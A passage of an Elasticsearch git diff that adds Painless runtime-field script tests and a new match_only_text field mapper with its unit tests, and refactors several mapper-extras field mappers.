params.max_rank)" + params: + max_rank: 5.0 + context: "double_field" + context_setup: + document: + rank: 4 + index: "my-index" + - match: { result: [ 20.0 ] } + +--- +"Execute with double field context (multi-value)": + - do: + scripts_painless_execute: + body: + script: + source: "emit(doc['rank'].value * params.max_rank); emit(400.0); emit(55.0)" + params: + max_rank: 5.0 + context: "double_field" + context_setup: + document: + rank: 4 + index: "my-index" + - match: { result: [ 20.0, 400.0, 55.0 ] } + +--- +"Execute with geo point field context (single-value)": + - skip: + features: close_to + - do: + scripts_painless_execute: + body: + script: + source: "emit(doc['point'].value.lat + 1.0, doc['point'].value.lon - 1.0)" + context: "geo_point_field" + context_setup: + document: + point: "30.0,40.0" + index: "my-index" + - close_to: { result.0.coordinates.0: { value: 39.0, error: 0.00001 } } + - close_to: { result.0.coordinates.1: { value: 31.0, error: 0.00001 } } + - match: { result.0.type: "Point" } + +--- +"Execute with geo point field context (multi-value)": + - skip: + features: close_to + - do: + scripts_painless_execute: + body: + script: + source: "emit(doc['p0'][0].lat + 1.0, doc['p0'][0].lon - 1.0); emit(doc['p1'][0].lat + 1.0, doc['p1'][0].lon - 1.0)" + context: "geo_point_field" + context_setup: + document: + p0: "30.0,40.0" + p1: "40.0,30.0" + index: "my-index" + - close_to: { result.0.coordinates.0: { value: 39.0, error: 0.00001 } } + - close_to: { result.0.coordinates.1: { value: 31.0, error: 0.00001 } } + - match: { result.0.type: "Point" } + - close_to: { result.1.coordinates.0: { value: 29.0, error: 0.00001 } } + - close_to: { result.1.coordinates.1: { value: 41.0, error: 0.00001 } } + - match: { result.1.type: "Point" } + +--- +"Execute with ip field context (single-value)": + - do: + scripts_painless_execute: + body: + script: + source: "emit(doc['ip'].value);" + context: "ip_field" + context_setup: + document: + ip: "192.168.1.254" + index: "my-index" + - match: { result: [ "192.168.1.254" ] } + +--- +"Execute with ip field context (multi-value)": + - do: + scripts_painless_execute: + body: + script: + source: "emit('2001:0db8:0000:0000:0000:8a2e:0370:7333'); emit(doc['ip'].value); emit('2001:db8::8a2e:370:7334')" + context: "ip_field" + context_setup: + document: + ip: "192.168.1.254" + index: "my-index" + - match: { result: [ "2001:db8::8a2e:370:7333", "192.168.1.254", "2001:db8::8a2e:370:7334" ] } + +--- +"Execute with long field context (single-value)": + - do: + scripts_painless_execute: + body: + script: + source: "emit(doc['rank'].value * (long)params.max_rank)" + params: + max_rank: 5.0 + context: "long_field" + context_setup: + document: + rank: 4 + index: "my-index" + - match: { result: [ 20 ] } + +--- +"Execute with long field context (multi-value)": + - do: + scripts_painless_execute: + body: + script: + source: "emit(doc['rank'].value * (long)params.max_rank); emit(35); emit(0); emit(-90); emit(20);" + params: + max_rank: 5.0 + context: "long_field" + context_setup: + document: + rank: 4 + index: "my-index" + - match: { result: [ 20, 35, 0, -90, 20 ] } + +--- +"Execute with keyword field context (single-value)": + - do: + scripts_painless_execute: + body: + script: + source: "emit(doc['keyword'].value);" + context: "keyword_field" + context_setup: + document: + keyword: "my_keyword" + index: "my-index" + - match: { result.0: "my_keyword" } + +--- +"Execute with keyword field context (multi-value)": + - do: + scripts_painless_execute: + body: + script: + source: "emit(doc['keyword'].value); emit(doc['keyword'].value + '_test');" + context: "keyword_field" + context_setup: + document: + keyword: "my_keyword" + index: "my-index" + - match: { result.0: "my_keyword" } + - match: { result.1: "my_keyword_test" } + +--- +"Execute against an empty index with no mappings": + - do: + indices.create: + index: empty-index + - do: + scripts_painless_execute: + body: + script: + source: "emit((long)params.max_rank)" + params: + max_rank: 20.0 + context: "long_field" + context_setup: + document: + rank: 4 + index: "empty-index" + - match: { result: [ 20 ] } + diff --git a/modules/mapper-extras/build.gradle b/modules/mapper-extras/build.gradle index c66147b4d27c5..9731f95bdd505 100644 --- a/modules/mapper-extras/build.gradle +++ b/modules/mapper-extras/build.gradle @@ -6,6 +6,7 @@ * Side Public License, v 1. */ apply plugin: 'elasticsearch.yaml-rest-test' +apply plugin: 'elasticsearch.yaml-rest-compat-test' apply plugin: 'elasticsearch.internal-cluster-test' esplugin { @@ -15,6 +16,6 @@ esplugin { restResources { restApi { - includeCore '_common', 'cluster', 'nodes', 'indices', 'index', 'search', 'get' + include '_common', 'cluster', 'field_caps', 'nodes', 'indices', 'index', 'search', 'get' } } diff --git a/modules/mapper-extras/src/internalClusterTest/java/org/elasticsearch/index/mapper/MatchOnlyTextFieldMapperTests.java b/modules/mapper-extras/src/internalClusterTest/java/org/elasticsearch/index/mapper/MatchOnlyTextFieldMapperTests.java new file mode 100644 index 0000000000000..617dae6b05065 --- /dev/null +++ b/modules/mapper-extras/src/internalClusterTest/java/org/elasticsearch/index/mapper/MatchOnlyTextFieldMapperTests.java @@ -0,0 +1,162 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.index.mapper; + +import org.apache.lucene.analysis.CannedTokenStream; +import org.apache.lucene.analysis.Token; +import org.apache.lucene.analysis.TokenStream; +import org.apache.lucene.index.DocValuesType; +import org.apache.lucene.index.IndexOptions; +import org.apache.lucene.index.IndexableField; +import org.apache.lucene.index.IndexableFieldType; +import org.elasticsearch.common.Strings; +import org.elasticsearch.common.xcontent.XContentBuilder; +import org.elasticsearch.common.xcontent.XContentFactory; +import org.elasticsearch.index.query.SearchExecutionContext; +import org.elasticsearch.plugins.Plugin; +import org.hamcrest.Matchers; + +import java.io.IOException; +import java.util.Collection; +import java.util.Collections; +import java.util.List; + +import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.equalTo; +import static org.hamcrest.Matchers.instanceOf; + +public class MatchOnlyTextFieldMapperTests extends MapperTestCase { + + @Override + protected Collection getPlugins() { + return List.of(new MapperExtrasPlugin()); + } + + @Override + protected Object getSampleValueForDocument() { + return "value"; + } + + public final void testExists() throws IOException { + MapperService mapperService = createMapperService(fieldMapping(b -> { minimalMapping(b); })); + assertExistsQuery(mapperService); + assertParseMinimalWarnings(); + } + + @Override + protected void registerParameters(ParameterChecker checker) throws IOException { + checker.registerUpdateCheck(b -> { + b.field("meta", Collections.singletonMap("format", "mysql.access")); + }, m -> assertEquals(Collections.singletonMap("format", "mysql.access"), m.fieldType().meta())); + } + + @Override + protected void minimalMapping(XContentBuilder b) throws IOException { + b.field("type", "match_only_text"); + } + + @Override + protected void minimalStoreMapping(XContentBuilder b) throws IOException { + // 'store' is always true + minimalMapping(b); + } + + public void testDefaults() throws IOException { + DocumentMapper mapper = createDocumentMapper(fieldMapping(this::minimalMapping)); + assertEquals(Strings.toString(fieldMapping(this::minimalMapping)), mapper.mappingSource().toString()); + + ParsedDocument doc = mapper.parse(source(b -> b.field("field", "1234"))); + IndexableField[] fields = doc.rootDoc().getFields("field"); + assertEquals(1, fields.length); + assertEquals("1234", fields[0].stringValue()); + IndexableFieldType fieldType = fields[0].fieldType(); + assertThat(fieldType.omitNorms(), equalTo(true)); + assertTrue(fieldType.tokenized()); + assertFalse(fieldType.stored()); + assertThat(fieldType.indexOptions(), equalTo(IndexOptions.DOCS)); + assertThat(fieldType.storeTermVectors(), equalTo(false)); + assertThat(fieldType.storeTermVectorOffsets(), equalTo(false)); + assertThat(fieldType.storeTermVectorPositions(), equalTo(false)); + assertThat(fieldType.storeTermVectorPayloads(), equalTo(false)); + assertEquals(DocValuesType.NONE, fieldType.docValuesType()); + } + + public void testNullConfigValuesFail() throws MapperParsingException { + Exception e = expectThrows( + MapperParsingException.class, + () -> createDocumentMapper(fieldMapping(b -> b.field("type", "match_only_text").field("meta", (String) null))) + ); + assertThat(e.getMessage(), containsString("[meta] on mapper [field] of type [match_only_text] must not have a [null] value")); + } + + public void testSimpleMerge() throws IOException { + XContentBuilder startingMapping = fieldMapping(b -> b.field("type", "match_only_text")); + MapperService mapperService = createMapperService(startingMapping); + assertThat(mapperService.documentMapper().mappers().getMapper("field"), instanceOf(MatchOnlyTextFieldMapper.class)); + + merge(mapperService, startingMapping); + assertThat(mapperService.documentMapper().mappers().getMapper("field"), instanceOf(MatchOnlyTextFieldMapper.class)); + + XContentBuilder newField = mapping(b -> { + b.startObject("field") + .field("type", "match_only_text") + .startObject("meta") + .field("key", "value") + .endObject() + .endObject(); + b.startObject("other_field").field("type", "keyword").endObject(); + }); + merge(mapperService, newField); + assertThat(mapperService.documentMapper().mappers().getMapper("field"), instanceOf(MatchOnlyTextFieldMapper.class)); + assertThat(mapperService.documentMapper().mappers().getMapper("other_field"), instanceOf(KeywordFieldMapper.class)); + } + + public void testDisabledSource() throws IOException { + XContentBuilder mapping = XContentFactory.jsonBuilder().startObject().startObject("_doc"); + { + mapping.startObject("properties"); + { + mapping.startObject("foo"); + { + mapping.field("type", "match_only_text"); + } + mapping.endObject(); + } + mapping.endObject(); + + mapping.startObject("_source"); + { + mapping.field("enabled", false); + } + mapping.endObject(); + } + mapping.endObject().endObject(); + + MapperService mapperService = createMapperService(mapping); + MappedFieldType ft = mapperService.fieldType("foo"); + SearchExecutionContext context = createSearchExecutionContext(mapperService); + TokenStream ts = new CannedTokenStream(new Token("a", 0, 3), new Token("b", 4, 7)); + IllegalArgumentException e = expectThrows(IllegalArgumentException.class, () -> ft.phraseQuery(ts, 0, true, context)); + assertThat(e.getMessage(), Matchers.containsString("cannot run positional queries since [_source] is disabled")); + + // Term queries are ok + ft.termQuery("a", context); // no exception + } + + @Override + protected Object generateRandomInputValue(MappedFieldType ft) { + assumeFalse("We don't have a way to assert things here", true); + return null; + } + + @Override + protected void randomFetchTestFieldConfig(XContentBuilder b) throws IOException { + assumeFalse("We don't have a way to assert things here", true); + } +} diff --git a/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/MapperExtrasPlugin.java b/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/MapperExtrasPlugin.java index a3630fa2dde9a..2ea69007be8f2 100644 --- a/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/MapperExtrasPlugin.java +++ b/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/MapperExtrasPlugin.java @@ -29,6 +29,7 @@ public Map getMappers() { mappers.put(RankFeatureFieldMapper.CONTENT_TYPE, RankFeatureFieldMapper.PARSER); mappers.put(RankFeaturesFieldMapper.CONTENT_TYPE, RankFeaturesFieldMapper.PARSER); mappers.put(SearchAsYouTypeFieldMapper.CONTENT_TYPE, SearchAsYouTypeFieldMapper.PARSER); + mappers.put(MatchOnlyTextFieldMapper.CONTENT_TYPE, MatchOnlyTextFieldMapper.PARSER); return Collections.unmodifiableMap(mappers); } diff --git a/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/MatchOnlyTextFieldMapper.java b/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/MatchOnlyTextFieldMapper.java new file mode 100644 index 0000000000000..592a2bbce7f76 --- /dev/null +++ b/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/MatchOnlyTextFieldMapper.java @@ -0,0 +1,342 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.index.mapper; + +import org.apache.lucene.analysis.Analyzer; +import org.apache.lucene.analysis.TokenStream; +import org.apache.lucene.document.Field; +import org.apache.lucene.document.FieldType; +import org.apache.lucene.index.IndexOptions; +import org.apache.lucene.index.LeafReaderContext; +import org.apache.lucene.index.Term; +import org.apache.lucene.queries.intervals.Intervals; +import org.apache.lucene.queries.intervals.IntervalsSource; +import org.apache.lucene.search.ConstantScoreQuery; +import org.apache.lucene.search.FuzzyQuery; +import org.apache.lucene.search.MatchAllDocsQuery; +import org.apache.lucene.search.MultiTermQuery; +import org.apache.lucene.search.PrefixQuery; +import org.apache.lucene.search.Query; +import org.apache.lucene.search.TermQuery; +import org.apache.lucene.util.BytesRef; +import org.elasticsearch.Version; +import org.elasticsearch.common.CheckedIntFunction; +import org.elasticsearch.common.lucene.Lucene; +import org.elasticsearch.common.unit.Fuzziness; +import org.elasticsearch.index.analysis.IndexAnalyzers; +import org.elasticsearch.index.analysis.NamedAnalyzer; +import org.elasticsearch.index.fielddata.IndexFieldData; +import org.elasticsearch.index.mapper.TextFieldMapper.TextFieldType; +import org.elasticsearch.index.query.SearchExecutionContext; +import org.elasticsearch.index.query.SourceConfirmedTextQuery; +import org.elasticsearch.index.query.SourceIntervalsSource; +import org.elasticsearch.search.lookup.SearchLookup; +import org.elasticsearch.search.lookup.SourceLookup; + +import java.io.IOException; +import java.io.UncheckedIOException; +import java.util.Arrays; +import java.util.Collections; +import java.util.List; +import java.util.Map; +import java.util.Objects; +import java.util.function.Function; +import java.util.function.Supplier; + +/** + * A {@link FieldMapper} for full-text fields that only indexes + * {@link IndexOptions#DOCS} and runs positional queries by looking at the + * _source. + */ +public class MatchOnlyTextFieldMapper extends FieldMapper { + + public static final String CONTENT_TYPE = "match_only_text"; + + public static class Defaults { + public static final FieldType FIELD_TYPE = new FieldType(); + + static { + FIELD_TYPE.setTokenized(true); + FIELD_TYPE.setStored(false); + FIELD_TYPE.setStoreTermVectors(false); + FIELD_TYPE.setOmitNorms(true); + FIELD_TYPE.setIndexOptions(IndexOptions.DOCS); + FIELD_TYPE.freeze(); + } + + } + + private static Builder builder(FieldMapper in) { + return ((MatchOnlyTextFieldMapper) in).builder; + } + + public static class Builder extends FieldMapper.Builder { + + private final Version indexCreatedVersion; + + private final Parameter> meta = Parameter.metaParam(); + + private final TextParams.Analyzers analyzers; + + public Builder(String name, IndexAnalyzers indexAnalyzers) { + this(name, Version.CURRENT, indexAnalyzers); + } + + public Builder(String name, Version indexCreatedVersion, IndexAnalyzers indexAnalyzers) { + super(name); + this.indexCreatedVersion = indexCreatedVersion; + this.analyzers = new TextParams.Analyzers(indexAnalyzers, m -> builder(m).analyzers); + } + + public Builder addMultiField(FieldMapper.Builder builder) { + this.multiFieldsBuilder.add(builder); + return this; + } + + @Override + protected List> getParameters() { + return Arrays.asList(meta); + } + + private MatchOnlyTextFieldType buildFieldType(FieldType fieldType, ContentPath contentPath) { + NamedAnalyzer searchAnalyzer = analyzers.getSearchAnalyzer(); + NamedAnalyzer searchQuoteAnalyzer = analyzers.getSearchQuoteAnalyzer(); + NamedAnalyzer indexAnalyzer = analyzers.getIndexAnalyzer(); + TextSearchInfo tsi = new TextSearchInfo(fieldType, null, searchAnalyzer, searchQuoteAnalyzer); + MatchOnlyTextFieldType ft = new MatchOnlyTextFieldType(buildFullName(contentPath), tsi, indexAnalyzer, meta.getValue()); + return ft; + } + + @Override + public MatchOnlyTextFieldMapper build(ContentPath contentPath) { + MatchOnlyTextFieldType tft = buildFieldType(Defaults.FIELD_TYPE, contentPath); + MultiFields multiFields = multiFieldsBuilder.build(this, contentPath); + return new MatchOnlyTextFieldMapper( + name, + Defaults.FIELD_TYPE, + tft, + analyzers.getIndexAnalyzer(), + multiFields, + copyTo.build(), + this + ); + } + } + + public static final TypeParser PARSER = new TypeParser((n, c) -> new Builder(n, c.indexVersionCreated(), c.getIndexAnalyzers())); + + public static class MatchOnlyTextFieldType extends StringFieldType { + + private final Analyzer indexAnalyzer; + private final TextFieldType textFieldType; + + public MatchOnlyTextFieldType(String name, TextSearchInfo tsi, Analyzer indexAnalyzer, Map meta) { + super(name, true, false, false, tsi, meta); + this.indexAnalyzer = Objects.requireNonNull(indexAnalyzer); + this.textFieldType = new TextFieldType(name); + } + + public MatchOnlyTextFieldType(String name, boolean stored, Map meta) { + super( + name, + true, + stored, + false, + new TextSearchInfo(Defaults.FIELD_TYPE, null, Lucene.STANDARD_ANALYZER, Lucene.STANDARD_ANALYZER), + meta + ); + this.indexAnalyzer = Lucene.STANDARD_ANALYZER; + this.textFieldType = new TextFieldType(name); + } + + public MatchOnlyTextFieldType(String name) { + this( + name, + new TextSearchInfo(Defaults.FIELD_TYPE, null, Lucene.STANDARD_ANALYZER, Lucene.STANDARD_ANALYZER), + Lucene.STANDARD_ANALYZER, + Collections.emptyMap() + ); + } + + @Override + public String typeName() { + return CONTENT_TYPE; + } + + @Override + public String familyTypeName() { + return TextFieldMapper.CONTENT_TYPE; + } + + @Override + public ValueFetcher valueFetcher(SearchExecutionContext context, String format) { + return SourceValueFetcher.toString(name(), context, format); + } + + private Function, IOException>> getValueFetcherProvider( + SearchExecutionContext searchExecutionContext) { + if (searchExecutionContext.isSourceEnabled() == false) { + throw new IllegalArgumentException( + "Field [" + name() + "] of type [" + CONTENT_TYPE + "] cannot run positional queries since [_source] is disabled." + ); + } + SourceLookup sourceLookup = searchExecutionContext.lookup().source(); + ValueFetcher valueFetcher = valueFetcher(searchExecutionContext, null); + return context -> { + valueFetcher.setNextReader(context); + return docID -> { + try { + sourceLookup.setSegmentAndDocument(context, docID); + return valueFetcher.fetchValues(sourceLookup); + } catch (IOException e) { + throw new UncheckedIOException(e); + } + }; + }; + } + + private Query toQuery(Query query, SearchExecutionContext searchExecutionContext) { + return new ConstantScoreQuery( + new SourceConfirmedTextQuery(query, getValueFetcherProvider(searchExecutionContext), indexAnalyzer)); + } + + private IntervalsSource toIntervalsSource( + IntervalsSource source, + Query approximation, + SearchExecutionContext searchExecutionContext) { + return new SourceIntervalsSource(source, approximation, getValueFetcherProvider(searchExecutionContext), indexAnalyzer); + } + + @Override + public Query termQuery(Object value, SearchExecutionContext context) { + // Disable scoring + return new ConstantScoreQuery(super.termQuery(value, context)); + } + + @Override + public Query fuzzyQuery( + Object value, + Fuzziness fuzziness, + int prefixLength, + int maxExpansions, + boolean transpositions, + SearchExecutionContext context + ) { + // Disable scoring + return new ConstantScoreQuery(super.fuzzyQuery(value, fuzziness, prefixLength, maxExpansions, transpositions, context)); + } + + @Override + public IntervalsSource termIntervals(BytesRef term, SearchExecutionContext context) { + return toIntervalsSource(Intervals.term(term), new TermQuery(new Term(name(), term)), context); + } + + @Override + public IntervalsSource prefixIntervals(BytesRef term, SearchExecutionContext context) { + return toIntervalsSource(Intervals.prefix(term), new PrefixQuery(new Term(name(), term)), context); + } + + @Override + public IntervalsSource fuzzyIntervals(String term, int maxDistance, int prefixLength, + boolean transpositions, SearchExecutionContext context) { + FuzzyQuery fuzzyQuery = new FuzzyQuery(new Term(name(), term), + maxDistance, prefixLength, 128, transpositions); + fuzzyQuery.setRewriteMethod(MultiTermQuery.CONSTANT_SCORE_REWRITE); + IntervalsSource fuzzyIntervals = Intervals.multiterm(fuzzyQuery.getAutomata(), term); + return toIntervalsSource(fuzzyIntervals, fuzzyQuery, context); + } + + @Override + public IntervalsSource wildcardIntervals(BytesRef pattern, SearchExecutionContext context) { + return toIntervalsSource( + Intervals.wildcard(pattern), + new MatchAllDocsQuery(), // wildcard queries can be expensive, what should the approximation be? + context); + } + + @Override + public Query phraseQuery(TokenStream stream, int slop, boolean enablePosIncrements, SearchExecutionContext queryShardContext) + throws IOException { + final Query query = textFieldType.phraseQuery(stream, slop, enablePosIncrements, queryShardContext); + return toQuery(query, queryShardContext); + } + + @Override + public Query multiPhraseQuery( + TokenStream stream, + int slop, + boolean enablePositionIncrements, + SearchExecutionContext queryShardContext + ) throws IOException { + final Query query = textFieldType.multiPhraseQuery(stream, slop, enablePositionIncrements, queryShardContext); + return toQuery(query, queryShardContext); + } + + @Override + public Query phrasePrefixQuery(TokenStream stream, int slop, int maxExpansions, SearchExecutionContext queryShardContext) + throws IOException { + final Query query = textFieldType.phrasePrefixQuery(stream, slop, maxExpansions, queryShardContext); + return toQuery(query, queryShardContext); + } + + @Override + public IndexFieldData.Builder fielddataBuilder(String fullyQualifiedIndexName, Supplier searchLookup) { + throw new IllegalArgumentException(CONTENT_TYPE + " fields do not support sorting and aggregations"); + } + + } + + private final Builder builder; + private final FieldType fieldType; + + private MatchOnlyTextFieldMapper( + String simpleName, + FieldType fieldType, + MatchOnlyTextFieldType mappedFieldType, + NamedAnalyzer indexAnalyzer, + MultiFields multiFields, + CopyTo copyTo, + Builder builder + ) { + super(simpleName, mappedFieldType, indexAnalyzer, multiFields, copyTo); + assert mappedFieldType.getTextSearchInfo().isTokenized(); + assert mappedFieldType.hasDocValues() == false; + this.fieldType = fieldType; + this.builder = builder; + } + + @Override + public FieldMapper.Builder getMergeBuilder() { + return new Builder(simpleName(), builder.indexCreatedVersion, builder.analyzers.indexAnalyzers).init(this); + } + + @Override + protected void parseCreateField(ParseContext context) throws IOException { + final String value = context.parser().textOrNull(); + + if (value == null) { + return; + } + + Field field = new Field(fieldType().name(), value, fieldType); + context.doc().add(field); + context.addToFieldNames(fieldType().name()); + } + + @Override + protected String contentType() { + return CONTENT_TYPE; + } + + @Override + public MatchOnlyTextFieldType fieldType() { + return (MatchOnlyTextFieldType) super.fieldType(); + } + +} diff --git a/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/RankFeatureFieldMapper.java b/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/RankFeatureFieldMapper.java index 1f0f06a697001..8c27e3c4fecd6 100644 --- a/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/RankFeatureFieldMapper.java +++ b/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/RankFeatureFieldMapper.java @@ -136,10 +136,7 @@ public RankFeatureFieldType fieldType() { @Override protected void parseCreateField(ParseContext context) throws IOException { float value; - if (context.externalValueSet()) { - Object v = context.externalValue(); - value = objectToFloat(v); - } else if (context.parser().currentToken() == Token.VALUE_NULL) { + if (context.parser().currentToken() == Token.VALUE_NULL) { // skip return; } else { diff --git a/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/RankFeaturesFieldMapper.java b/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/RankFeaturesFieldMapper.java index a0538ebb48321..73cf6314827b8 100644 --- a/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/RankFeaturesFieldMapper.java +++ b/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/RankFeaturesFieldMapper.java @@ -17,7 +17,6 @@ import org.elasticsearch.search.lookup.SearchLookup; import java.io.IOException; -import java.util.Collections; import java.util.List; import java.util.Map; import java.util.function.Supplier; @@ -30,8 +29,14 @@ public class RankFeaturesFieldMapper extends FieldMapper { public static final String CONTENT_TYPE = "rank_features"; + private static RankFeaturesFieldType ft(FieldMapper in) { + return ((RankFeaturesFieldMapper)in).fieldType(); + } + public static class Builder extends FieldMapper.Builder { + private final Parameter positiveScoreImpact + = Parameter.boolParam("positive_score_impact", false, m -> ft(m).positiveScoreImpact, true); private final Parameter> meta = Parameter.metaParam(); public Builder(String name) { @@ -40,23 +45,26 @@ public Builder(String name) { @Override protected List> getParameters() { - return Collections.singletonList(meta); + return List.of(positiveScoreImpact, meta); } @Override public RankFeaturesFieldMapper build(ContentPath contentPath) { return new RankFeaturesFieldMapper( - name, new RankFeaturesFieldType(buildFullName(contentPath), meta.getValue()), - multiFieldsBuilder.build(this, contentPath), copyTo.build()); + name, new RankFeaturesFieldType(buildFullName(contentPath), meta.getValue(), positiveScoreImpact.getValue()), + multiFieldsBuilder.build(this, contentPath), copyTo.build(), positiveScoreImpact.getValue()); } } - public static final TypeParser PARSER = new TypeParser((n, c) -> new Builder(n)); + public static final TypeParser PARSER = new TypeParser((n, c) -> new Builder(n), notInMultiFields(CONTENT_TYPE)); public static final class RankFeaturesFieldType extends MappedFieldType { - public RankFeaturesFieldType(String name, Map meta) { + private final boolean positiveScoreImpact; + + public RankFeaturesFieldType(String name, Map meta, boolean positiveScoreImpact) { super(name, false, false, false, TextSearchInfo.NONE, meta); + this.positiveScoreImpact = positiveScoreImpact; } @Override @@ -64,6 +72,10 @@ public String typeName() { return CONTENT_TYPE; } + public boolean positiveScoreImpact() { + return positiveScoreImpact; + } + @Override public Query existsQuery(SearchExecutionContext context) { throw new IllegalArgumentException("[rank_features] fields do not support [exists] queries"); @@ -85,9 +97,12 @@ public Query termQuery(Object value, SearchExecutionContext context) { } } + private final boolean positiveScoreImpact; + private RankFeaturesFieldMapper(String simpleName, MappedFieldType mappedFieldType, - MultiFields multiFields, CopyTo copyTo) { + MultiFields multiFields, CopyTo copyTo, boolean positiveScoreImpact) { super(simpleName, mappedFieldType, Lucene.KEYWORD_ANALYZER, multiFields, copyTo); + this.positiveScoreImpact = positiveScoreImpact; } @Override @@ -102,9 +117,6 @@ public RankFeaturesFieldType fieldType() { @Override public void parse(ParseContext context) throws IOException { - if (context.externalValueSet()) { - throw new IllegalArgumentException("[rank_features] fields can't be used in multi-fields"); - } if (context.parser().currentToken() != Token.START_OBJECT) { throw new IllegalArgumentException("[rank_features] fields must be json objects, expected a START_OBJECT but got: " + @@ -124,6 +136,9 @@ public void parse(ParseContext context) throws IOException { throw new IllegalArgumentException("[rank_features] fields do not support indexing multiple values for the same " + "rank feature [" + key + "] in the same document"); } + if (positiveScoreImpact == false) { + value = 1 / value; + } context.doc().addWithKey(key, new FeatureField(name(), feature, value)); } else { throw new IllegalArgumentException("[rank_features] fields take hashes that map a feature to a strictly positive " + diff --git a/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/ScaledFloatFieldMapper.java b/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/ScaledFloatFieldMapper.java index 13c6f4d6dc245..37f349844b0c5 100644 --- a/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/ScaledFloatFieldMapper.java +++ b/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/ScaledFloatFieldMapper.java @@ -316,9 +316,7 @@ protected void parseCreateField(ParseContext context) throws IOException { XContentParser parser = context.parser(); Object value; Number numericValue = null; - if (context.externalValueSet()) { - value = context.externalValue(); - } else if (parser.currentToken() == Token.VALUE_NULL) { + if (parser.currentToken() == Token.VALUE_NULL) { value = null; } else if (coerce.value() && parser.currentToken() == Token.VALUE_STRING @@ -365,7 +363,7 @@ protected void parseCreateField(ParseContext context) throws IOException { context.doc().addAll(fields); if (hasDocValues == false && (indexed || stored)) { - createFieldNamesField(context); + context.addToFieldNames(fieldType().name()); } } diff --git a/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/SearchAsYouTypeFieldMapper.java b/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/SearchAsYouTypeFieldMapper.java index a7bc4b9de915e..f53fcafe52461 100644 --- a/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/SearchAsYouTypeFieldMapper.java +++ b/modules/mapper-extras/src/main/java/org/elasticsearch/index/mapper/SearchAsYouTypeFieldMapper.java @@ -274,38 +274,52 @@ public Query prefixQuery(String value, MultiTermQuery.RewriteMethod method, bool } } + private void checkForPositions() { + if (getTextSearchInfo().hasPositions() == false) { + throw new IllegalStateException("field:[" + name() + "] was indexed without position data; cannot run PhraseQuery"); + } + } + @Override - public Query phraseQuery(TokenStream stream, int slop, boolean enablePositionIncrements) throws IOException { + public Query phraseQuery(TokenStream stream, int slop, boolean enablePositionIncrements, + SearchExecutionContext context) throws IOException { + checkForPositions(); int numPos = countPosition(stream); if (shingleFields.length == 0 || slop > 0 || hasGaps(stream) || numPos <= 1) { return TextFieldMapper.createPhraseQuery(stream, name(), slop, enablePositionIncrements); } final ShingleFieldType shingleField = shingleFieldForPositions(numPos); stream = new FixedShingleFilter(stream, shingleField.shingleSize); - return shingleField.phraseQuery(stream, 0, true); + return shingleField.phraseQuery(stream, 0, true, context); } @Override - public Query multiPhraseQuery(TokenStream stream, int slop, boolean enablePositionIncrements) throws IOException { + public Query multiPhraseQuery(TokenStream stream, int slop, boolean enablePositionIncrements, + SearchExecutionContext context) throws IOException { + checkForPositions(); int numPos = countPosition(stream); if (shingleFields.length == 0 || slop > 0 || hasGaps(stream) || numPos <= 1) { return TextFieldMapper.createPhraseQuery(stream, name(), slop, enablePositionIncrements); } final ShingleFieldType shingleField = shingleFieldForPositions(numPos); stream = new FixedShingleFilter(stream, shingleField.shingleSize); - return shingleField.multiPhraseQuery(stream, 0, true); + return shingleField.multiPhraseQuery(stream, 0, true, context); } @Override - public Query phrasePrefixQuery(TokenStream stream, int slop, int maxExpansions) throws IOException { + public Query phrasePrefixQuery(TokenStream stream, int slop, int maxExpansions, + SearchExecutionContext context) throws IOException { int numPos = countPosition(stream); + if (numPos > 1) { + checkForPositions(); + } if (shingleFields.length == 0 || slop > 0 || hasGaps(stream) || numPos <= 1) { return TextFieldMapper.createPhrasePrefixQuery(stream, name(), slop, maxExpansions, null, null); } final ShingleFieldType shingleField = shingleFieldForPositions(numPos); stream = new FixedShingleFilter(stream, shingleField.shingleSize); - return shingleField.phrasePrefixQuery(stream, 0, maxExpansions); + return shingleField.phrasePrefixQuery(stream, 0, maxExpansions, context); } @Override @@ -502,17 +516,20 @@ public Query prefixQuery(String value, MultiTermQuery.RewriteMethod method, bool } @Override - public Query phraseQuery(TokenStream stream, int slop, boolean enablePositionIncrements) throws IOException { + public Query phraseQuery(TokenStream stream, int slop, boolean enablePositionIncrements, + SearchExecutionContext context) throws IOException { return TextFieldMapper.createPhraseQuery(stream, name(), slop, enablePositionIncrements); } @Override - public Query multiPhraseQuery(TokenStream stream, int slop, boolean enablePositionIncrements) throws IOException { + public Query multiPhraseQuery(TokenStream stream, int slop, boolean enablePositionIncrements, + SearchExecutionContext context) throws IOException { return TextFieldMapper.createPhraseQuery(stream, name(), slop, enablePositionIncrements); } @Override - public Query phrasePrefixQuery(TokenStream stream, int slop, int maxExpansions) throws IOException { + public Query phrasePrefixQuery(TokenStream stream, int slop, int maxExpansions, + SearchExecutionContext context) throws IOException { final String prefixFieldName = slop > 0 ? null : 